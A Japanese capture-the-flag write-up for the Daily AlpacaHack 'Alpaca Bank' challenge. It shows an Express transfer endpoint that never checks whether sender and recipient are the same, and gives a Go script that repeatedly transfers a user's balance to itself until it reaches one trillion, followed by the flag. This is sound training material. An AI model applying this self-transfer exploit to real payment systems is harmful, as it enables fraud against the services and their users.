Daily AlpacaHack: Alpaca Bank Writeup

🦙 < 銀行を作ってみるパカ!

と言われて擬似的に送金っぽいことができそうな Web アプリケーションの URL とソースコードが渡されます。

Register ボタンをクリックすると自分の ID が発行され、Your Balance 欄に 10 と表示されます。 Your Balance 欄には Sync ボタンがついていて、バックエンドで残高が減ったり増えたりした場合にこのボタンを押すことで表示を更新できそうです。 また、 Money Transfer 欄に Sender ID Recipient ID Amount があり、それぞれ埋めて Transfer ボタンをクリックすると、自分の残高が減らされて Recipient ID に指定した相手にその分送られます。

画面上部に

You have to earn one trillion yen to get the flag.

と書かれており、どうにかして残高を1兆にしなければいけないみたいです。

大量にアカウントを発行して1つのアカウントに残高を集約することで達成できそうですが、問題文に以下のように書かれているため別の方法を考えなくてはなりません。

NOTE1: この問題を解くためには、大量のアカウントを作成する必要はありません。過度なリクエストはお控えください。

まず「自分に送金しようとしたらどうなるんだろうな…」と思ったんですが、一旦すぐには試さず、ソースコードを読むことにしました。すぐに送金用 API である POST /api/transfer が見つかりました。

app.post('/api/transfer', (req, res) => {
    const { fromUser, toUser, amount } = req.body;

    if (!Number.isInteger(amount) || amount <= 0) {
        return res.status(400).send({ error: 'Invalid amount' });
    }
    if (!users.has(fromUser) || !users.has(toUser)) {
        return res.status(400).send({ error: 'Invalid user ID' });
    }

    const fromBalance = balances.get(fromUser);
    const toBalance = balances.get(toUser);
    if (fromBalance < amount) {
        return res.status(400).send({ error: 'Insufficient funds' });
    }
    
    balances.set(fromUser, fromBalance - amount);
    balances.set(toUser, toBalance + amount);

    res.status(200).json({
        receipt: `${fromUser} -> ${toUser} (${amount} yen)`
    });
});
  • 送金額が正の整数であること
  • 送金元、送金先のユーザーが存在していること
  • 送金額が送金元の残高以下であること

はチェックされていますが、送金元と送金先のユーザーが別であるかはチェックされていません。

また、都合の良いことに送金元のユーザーの残高と送金先のユーザーの残高を取得したあと、それぞれ送金額分を減算、加算して保存しています。 これにより、送金元と送金先を両方自分にすると、残高が送金額分増えます。

あとは残高分自分自身に送金し続ければ残高が倍々に増えていくので、1兆まで増やし続けるだけです。

解いた当日はめんどくさがってスクリプトを書かずに、ぼーっと Burp Suite の Repeater 機能でポチポチリクエストを再送して、時々残高を同期して送金額を増やして…ということをしていたんですが、フラグを保存しておくのを忘れていたため、この記事を書くついでにスクリプトを書きました(最初から書け)。

package main

import (
    "bytes"
    "encoding/json"
    "fmt"
    "io"
    "log"
    "net/http"
)

type TransferRequest struct {
    FromUser string `json:"fromUser"`
    ToUser   string `json:"toUser"`
    Amount   int    `json:"amount"`
}

func main() {
    for i := 10; i < 1_000_000_000_000; i += i {
        req := TransferRequest{
            FromUser: "e4f6d33603b2832fd436",
            ToUser:   "e4f6d33603b2832fd436",
            Amount:   i,
        }
        b, err := json.Marshal(req)
        if err != nil {
            panic(err)
        }

        res, err := http.Post("http://34.170.146.252:30021/api/transfer", "application/json", bytes.NewBuffer(b))
        if err != nil {
            panic(err)
        }
        if res.StatusCode != 200 {
            log.Fatalf("response is %d", res.StatusCode)
        }

        body, err := io.ReadAll(res.Body)
        if err != nil {
            panic(err)
        }
        fmt.Println(string(body))
    }
}

これを実行したあと、ブラウザで Sync ボタンを押すと、フラグが得られました。

Alpaca{this_weekend_is_SECCON_CTF_14_Quals_dont_miss_it}